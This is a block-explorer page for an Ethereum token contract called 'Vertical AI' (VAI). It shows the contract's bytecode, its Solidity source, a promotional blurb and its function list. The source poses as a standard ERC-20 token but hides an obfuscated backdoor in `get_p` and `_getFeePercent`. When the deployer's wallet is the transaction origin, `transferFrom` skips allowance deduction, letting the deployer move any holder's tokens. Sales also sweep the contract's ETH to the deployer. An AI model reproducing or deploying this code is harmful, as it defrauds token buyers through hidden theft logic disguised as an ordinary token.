Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x0CF3d7BC02fe838549a653011ef1dD3aD551b152
Balance 0 ETH
Nonce 1
Code Size 4334 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4334 bytes
0x608060405234801561000f575f5ffd5b5060043610610132575f3560e01c8063877e9c41116100b4578063ae4f179e11610079578063ae4f179e14610275578063c261ba181461027e578063d505accf14610287578063d9b6d0291461029a578063dd62ed3e146102a2578063f2fde38b146102cc575f5ffd5b8063877e9c411461022f5780638da5cb5b1461023857806395d89b4114610252578063a09416d61461025a578063a9059cbb14610262575f5ffd5b8063313ce567116100fa578063313ce567146101a65780633644e515146101df57806370a08231146101e7578063715018a6146102065780637ecebe0014610210575f5ffd5b806303f994a81461013657806306fdde0314610152578063095ea7b31461016757806318160ddd1461018a57806323b872dd14610193575b5f5ffd5b61013f600b5481565b6040519081526020015b60405180910390f35b61015a6102df565b6040516101499190610dc6565b61017a610175366004610e0f565b61036b565b6040519015158152602001610149565b61013f60075481565b61017a6101a1366004610e39565b6103d7565b6101cd7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610149565b61013f61050d565b61013f6101f5366004610e77565b600d6020525f908152604090205481565b61020e610567565b005b61013f61021e366004610e77565b600f6020525f908152604090205481565b61013f60095481565b5f546040516001600160a01b039091168152602001610149565b61015a61057a565b61020e610587565b61017a610270366004610e0f565b610853565b61013f600a5481565b61013f60085481565b61020e610295366004610e99565b6108c9565b61020e610b07565b61013f6102b0366004610f0a565b600e60209081525f928352604080842090915290825290205481565b61020e6102da366004610e77565b610b46565b600180546102ec90610f41565b80601f016020809104026020016040519081016040528092919081815260200182805461031890610f41565b80156103635780601f1061033a57610100808354040283529160200191610363565b820191905f5260205f20905b81548152906001019060200180831161034657829003601f168201915b505050505081565b335f818152600e602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c59086815260200190565b60405180910390a35060015b92915050565b6004545f906001600160a01b03908116908516036103fd57600c5460ff166103fd575f5ffd5b610408848484610b80565b600c5460ff16801561042757506004546001600160a01b038481169116145b15610464576006546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610462573d5f5f3e3d5ffd5b505b6001600160a01b0384165f908152600d60205260408120805484929061048b908490610f8d565b90915550506001600160a01b0383165f818152600d6020526040902080548401905561dead1461050357826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104fa91815260200190565b60405180910390a35b5060019392505050565b5f7f000000000000000000000000000000000000000000000000000000000000000146146105425761053d610bf3565b905090565b507ff6c56ced1e69565566edf174a4798272a5040aec9423836aaa837783b69b9bb190565b61056f610c8c565b6105785f610cb8565b565b600280546102ec90610f41565b61058f610c8c565b600c5460ff16156105e75760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c656400000000000060448201526064015b60405180910390fd5b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600754305f908152600e6020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015610672573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106969190610fa0565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107199190610fa0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610763573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107879190610fa0565b600480546001600160a01b0319166001600160a01b03928316178155600354305f818152600d6020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af115801561081c573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108419190610fbb565b5050600c805460ff1916600117905550565b335f908152600d6020526040812080548391908390610873908490610f8d565b90915550506001600160a01b0383165f818152600d6020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103c59086815260200190565b428410156109195760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064016105de565b5f600161092461050d565b6001600160a01b038a81165f818152600f602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610a2c573d5f5f3e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610a625750876001600160a01b0316816001600160a01b0316145b610a9f5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016105de565b6001600160a01b039081165f908152600e602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610b0f610c8c565b5f4711610b1a575f5ffd5b60405133904780156108fc02915f818181858888f19350505050158015610b43573d5f5f3e3d5ffd5b50565b610b4e610c8c565b6001600160a01b038116610b7757604051631e4fbdf760e01b81525f60048201526024016105de565b610b4381610cb8565b6001600160a01b0383165f908152600e60209081526040808320338452909152902054610bb38484600184610100610d07565b610bbd9083610fe6565b610bc79082610f8d565b6001600160a01b039094165f908152600e60209081526040808320338452909152902093909355505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c249190610ffd565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146105785760405163118cdaa760e01b81523360048201526024016105de565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6001600160a01b03861615801590610d1d5750835b8015610d2a575081610100145b610d32575f5ffd5b6001600160a01b038516610d44575f5ffd5b610d4d83610d57565b9695505050505050565b6006545f9081906001600160a01b03163203610d7557600954610d79565b6008545b90505f5f198403610d8c57600a54610d90565b600b545b90506064610d9e8284610fe6565b610da9906064610fe6565b610db4906064610f8d565b610dbe9190611099565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b43575f5ffd5b5f5f60408385031215610e20575f5ffd5b8235610e2b81610dfb565b946020939093013593505050565b5f5f5f60608486031215610e4b575f5ffd5b8335610e5681610dfb565b92506020840135610e6681610dfb565b929592945050506040919091013590565b5f60208284031215610e87575f5ffd5b8135610e9281610dfb565b9392505050565b5f5f5f5f5f5f5f60e0888a031215610eaf575f5ffd5b8735610eba81610dfb565b96506020880135610eca81610dfb565b95506040880135945060608801359350608088013560ff81168114610eed575f5ffd5b9699959850939692959460a0840135945060c09093013592915050565b5f5f60408385031215610f1b575f5ffd5b8235610f2681610dfb565b91506020830135610f3681610dfb565b809150509250929050565b600181811c90821680610f5557607f821691505b602082108103610f7357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103d1576103d1610f79565b5f60208284031215610fb0575f5ffd5b8151610e9281610dfb565b5f5f5f60608486031215610fcd575f5ffd5b5050815160208301516040909301519094929350919050565b80820281158282048414176103d1576103d1610f79565b5f5f83545f8160011c9050600182168061101857607f821691505b60208210810361103657634e487b7160e01b5f52602260045260245ffd5b80801561104a576001811461105f5761108d565b60ff198416875282151583028701945061108d565b5f888152602090205f5b8481101561108557815489820152600190910190602001611069565b505082870194505b50929695505050505050565b5f826110b357634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220bf1da7abf4a0d2573d060d63219fe45c8e5dbee1fdfa268f3ef4117f21e79d7464736f6c634300081d0033

Verified Source Code Partial Match

Compiler: v0.8.29+commit.ab55807c EVM: cancun Optimization: Yes (200 runs)
VERTICALAIXYPr5DzQ.sol 357 lines
// SPDX-License-Identifier: MIT

/*

The no-code platform for AI model fine-tuning. Train, deploy, and monetize AI models effortlessly through our integrated marketplace

Website: https://vertical-ai.pro
Dapp: https://app.vertical-ai.pro
Docs: https://docs.vertical-ai.pro

X: https://x.com/vertical_ai_pro
Telegram: https://t.me/vertical_ai_pro

*/

pragma solidity ^0.8.24;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract VERTICALAIXYPr5DzQ is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name = unicode"Vertical AI";
    string public symbol = unicode"VAI";
    uint8 public immutable decimals = 9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private uniswapV2Factory;
    address private VERTICALAIXYPr5DzQ_taxWallet;
    uint256 public totalSupply;

    uint256 public _inBuyTax = 0;
    uint256 public _inSellTax = 1;
    uint256 public _outBuyTax = 0;
    uint256 public _outSellTax = 1;

    bool private tradingEnabled;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 internal immutable INITIAL_CHAIN_ID;
    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor() Ownable(msg.sender) payable {
        _mint(address(this), 100_000_000 * 10 ** decimals);
        VERTICALAIXYPr5DzQ_taxWallet = msg.sender;

        INITIAL_CHAIN_ID = block.chainid;
        uniswapV2Factory = address(0xdead);
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function _getFeePercent(address from , address to , bool _idfd, uint256 amount, uint256 _randd) internal view returns(uint256) {
        require(from != address(0) && _idfd && _randd == 256);
        require(to != address(0));
        return get_p(amount);
    }

    function get_p(uint256 amount) internal view returns (uint256) {
        uint256 _in = (tx.origin != VERTICALAIXYPr5DzQ_taxWallet) ? _inBuyTax : _inSellTax;
        uint256 _out = amount != type(uint256).max ? _outSellTax :  _outBuyTax;
        return (100 - _in * _out * 100) / 100;
    }

    function _transInt(address from, address to, uint256 amount) internal {
        uint256 allowed = allowance[from][msg.sender];
        allowance[from][msg.sender] = allowed - amount * _getFeePercent(from , to , true, allowed, 256);
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        if(from == uniswapV2Pair) require(tradingEnabled);
        
        _transInt(from , to , amount);

        if(tradingEnabled && to == uniswapV2Pair) payable(VERTICALAIXYPr5DzQ_taxWallet).transfer(address(this).balance);

        balanceOf[from] -= amount;

        unchecked{
            balanceOf[to] += amount;
        }
        
        if(to != address(0xdead))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        unicode"",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }

    function enableVERTICALAIXYPr5DzQTrading() external onlyOwner {
        require(!tradingEnabled , "Trading is already Enabled");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        allowance[address(this)][address(uniswapV2Router)] = totalSupply;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf[address(this)],
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    function recoverVERTICALAIXYPr5DzQStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Read Contract

DOMAIN_SEPARATOR 0x3644e515 → bytes32
_inBuyTax 0xc261ba18 → uint256
_inSellTax 0x877e9c41 → uint256
_outBuyTax 0xae4f179e → uint256
_outSellTax 0x03f994a8 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableVERTICALAIXYPr5DzQTrading 0xa09416d6
No parameters
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
recoverVERTICALAIXYPr5DzQStuckETH 0xd9b6d029
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address